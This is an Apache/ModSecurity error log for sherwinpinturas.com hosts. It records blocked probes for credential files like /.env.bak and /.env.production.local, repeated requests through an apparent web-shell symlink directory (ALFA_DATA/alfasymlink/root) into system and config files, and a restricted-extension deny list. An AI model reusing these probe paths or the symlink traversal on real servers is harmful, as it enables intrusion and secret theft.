[Sun Oct 25 21:08:25.503310 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.246.147:26927] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at6oCTWREDnPJfZ18QDWKQAAABs"]
[Sun Oct 25 21:08:25.503551 2026] [security2:error] [pid 2922867:tid 2922867] [client 104.28.246.147:26927] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at6oCTWREDnPJfZ18QDWKQAAABs"]
[Sun Oct 25 21:08:25.510171 2026] [security2:error] [pid 2934764:tid 2934764] [client 104.28.214.147:63309] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at6oCTKGT80tzyMOwo24hAAAAA4"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:25.510389 2026] [security2:error] [pid 2934764:tid 2934764] [client 104.28.214.147:63309] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at6oCTKGT80tzyMOwo24hAAAAA4"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:25.510644 2026] [security2:error] [pid 2934764:tid 2934764] [client 104.28.214.147:63309] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at6oCTKGT80tzyMOwo24hAAAAA4"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:28.405770 2026] [security2:error] [pid 2927273:tid 2927273] [client 104.28.214.148:58743] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at6oDDmmX3asvCDITlDwmAAAAAA"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:28.406069 2026] [security2:error] [pid 2927273:tid 2927273] [client 104.28.214.148:58743] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at6oDDmmX3asvCDITlDwmAAAAAA"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:28.406355 2026] [security2:error] [pid 2927273:tid 2927273] [client 104.28.214.148:58743] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at6oDDmmX3asvCDITlDwmAAAAAA"], referer: https://www.google.com/search?q=plantas1.sherwinpinturas.com
[Sun Oct 25 21:08:28.729992 2026] [security2:error] [pid 2934769:tid 2934769] [client 104.28.246.148:63637] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at6oDKchg0xALX6lP1hOTAAAAA8"]
[Sun Oct 25 21:08:28.730234 2026] [security2:error] [pid 2934769:tid 2934769] [client 104.28.246.148:63637] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at6oDKchg0xALX6lP1hOTAAAAA8"]
[Sun Oct 25 21:08:28.730521 2026] [security2:error] [pid 2934769:tid 2934769] [client 104.28.246.148:63637] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at6oDKchg0xALX6lP1hOTAAAAA8"]
[Sun Oct 25 21:08:30.174397 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.210.204.255:35435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:08:42.114894 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.70.138.176:23128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:08:46.271904 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 54.225.199.17:27629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:08:58.143835 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.4.238.8:9805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:09:04.878503 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 185.191.171.18:54408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:09:10.284696 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 100.28.57.133:37714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:09:10.796262 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 185.191.171.7:59384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/object_size
[Sun Oct 25 21:09:14.105137 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 52.3.102.51:39246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:09:38.556008 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 185.191.171.5:34198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__ksymtab_gpl
[Sun Oct 25 21:09:58.116699 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.93.98.99:53808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:10:02.119706 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 98.84.131.195:28488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/wakeup/wakeup2/device/physical_node/driver/module/uevent
[Sun Oct 25 21:10:03.983548 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 185.191.171.5:47446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/poison
[Sun Oct 25 21:10:10.224607 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 54.197.102.71:23738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:10:14.149661 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.4.76.156:5913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:10:30.115926 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 3.230.69.161:40120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/i2c-0/subsystem/uevent
[Sun Oct 25 21:10:30.699216 2026] [core:error] [pid 2934764:tid 2934764] (13)Permission denied: [client 185.191.171.3:51202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_nat_ftp/sections/__param
[Sun Oct 25 21:10:34.201355 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 3.210.29.96:49120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:13/eject
[Sun Oct 25 21:10:54.337046 2026] [ssl:error] [pid 2934764:tid 2934764] (70014)End of file found: [client 44.213.202.136:24227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:11:02.196764 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 44.212.232.231:3423] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:11:06.110879 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 100.29.160.53:4354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:11:18.127992 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 52.1.106.130:22337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/PNP0A03:00/subsystem/devices/device:02/physical_node/rescan
[Sun Oct 25 21:11:30.148065 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.226.106.93:22252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:11:46.117035 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 34.233.114.237:5673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:11:48.965243 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 185.191.171.12:39516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/sanity_checks
[Sun Oct 25 21:11:50.106290 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 18.214.251.19:26912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/8250_lpss/bind
[Sun Oct 25 21:11:58.121028 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 3.224.215.150:58405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:02.115880 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 54.162.69.192:22048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:05.498293 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 85.208.96.198:18976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:06.171207 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.211.105.134:50094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:11.858638 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 185.191.171.12:40042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/objs_per_slab
[Sun Oct 25 21:12:22.157731 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.203.152.231:45925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:34.118314 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 52.71.218.25:63782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:38.124314 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 34.225.87.80:54326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:46.266257 2026] [ssl:error] [pid 2934764:tid 2934764] (70014)End of file found: [client 18.213.27.222:51508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:12:54.120761 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 52.200.251.20:19326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:13:10.119613 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.93.211.16:41117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:13:16.608205 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 85.208.96.196:30118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:13:18.117107 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 52.73.142.41:35777] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/resource4
[Sun Oct 25 21:13:36.652000 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 85.208.96.207:58272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/store_user
[Sun Oct 25 21:13:38.174088 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.220.148.166:49108] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:13:46.106805 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 54.197.82.195:52713] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/dev/char/4:41/subsystem/ttyS0/port
[Sun Oct 25 21:14:06.167034 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.229.95.193:27206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:14:10.421415 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 52.203.68.145:8461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:14:18.424800 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 184.73.239.35:15443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:14:37.679675 2026] [security2:error] [pid 2932351:tid 2932351] [client 85.208.96.196:26816] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_main_2.conf"] [unique_id "at6pfbmcfM3Hi8DaXo--GwAAAAc"]
[Sun Oct 25 21:14:37.680149 2026] [security2:error] [pid 2932351:tid 2932351] [client 85.208.96.196:26816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_main_2.conf"] [unique_id "at6pfbmcfM3Hi8DaXo--GwAAAAc"]
[Sun Oct 25 21:14:37.680600 2026] [security2:error] [pid 2932351:tid 2932351] [client 85.208.96.196:26816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_main_2.conf"] [unique_id "at6pfbmcfM3Hi8DaXo--GwAAAAc"]
[Sun Oct 25 21:14:42.329716 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 52.45.77.169:32796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:14:46.147062 2026] [ssl:error] [pid 2934764:tid 2934764] (5)Input/output error: [client 100.28.57.133:11171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:14:50.108196 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 54.144.185.255:26532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:14:54.162302 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 52.71.46.142:19831] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ohci-pci/uevent
[Sun Oct 25 21:14:58.178842 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.71.46.142:37971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:15:12.193842 2026] [security2:error] [pid 2930612:tid 2930612] [client 107.172.76.131:49838] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6plJHtMtN5e4U4U0bh9QAAAAI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:15:12.193919 2026] [security2:error] [pid 2930612:tid 2930612] [client 107.172.76.131:49838] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6plJHtMtN5e4U4U0bh9QAAAAI"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:15:14.114995 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.94.40.182:7600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:15:18.157861 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 54.85.7.119:61716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:15:22.451422 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 54.157.99.244:37771] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/device/device/drvctl
[Sun Oct 25 21:15:22.452014 2026] [security2:error] [pid 2927273:tid 2927273] [client 54.157.99.244:37771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/device/device/drvctl"] [unique_id "at6pqjmmX3asvCDITlDwqgAAAAA"]
[Sun Oct 25 21:15:22.452046 2026] [security2:error] [pid 2927273:tid 2927273] [client 54.157.99.244:37771] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/device/device/drvctl"] [unique_id "at6pqjmmX3asvCDITlDwqgAAAAA"]
[Sun Oct 25 21:15:34.169795 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 18.215.49.176:57939] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:15:38.138228 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.3.127.170:4056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:15:42.147159 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 100.29.107.38:51596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:16:05.702262 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 185.191.171.5:33728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/validate
[Sun Oct 25 21:16:10.122506 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 35.169.102.85:57414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:16:14.222123 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 18.213.240.226:23117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:16:18.162561 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 35.169.102.85:17837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:16:21.131319 2026] [security2:error] [pid 2922333:tid 2922333] [client 16.216.88.39:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at6p5SC9gidsUAz5qdCHxgAAAC8"]
[Sun Oct 25 21:16:21.131767 2026] [security2:error] [pid 2922333:tid 2922333] [client 16.216.88.39:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at6p5SC9gidsUAz5qdCHxgAAAC8"]
[Sun Oct 25 21:16:21.132077 2026] [security2:error] [pid 2922333:tid 2922333] [client 16.216.88.39:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "at6p5SC9gidsUAz5qdCHxgAAAC8"]
[Sun Oct 25 21:16:46.155688 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 100.28.49.152:43138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:16:54.274706 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 100.29.107.38:56216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:17:02.133805 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 52.6.97.88:32490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/subsystem/drivers/ata_generic/bind
[Sun Oct 25 21:17:06.147173 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.44.229.124:60238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:17:10.135890 2026] [security2:error] [pid 2922333:tid 2922333] [client 34.236.41.241:43305] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:01/PNP0B00:00/physical_node/wakeup/wakeup11/subsystem/"] [unique_id "at6qFiC9gidsUAz5qdCHyAAAAC8"]
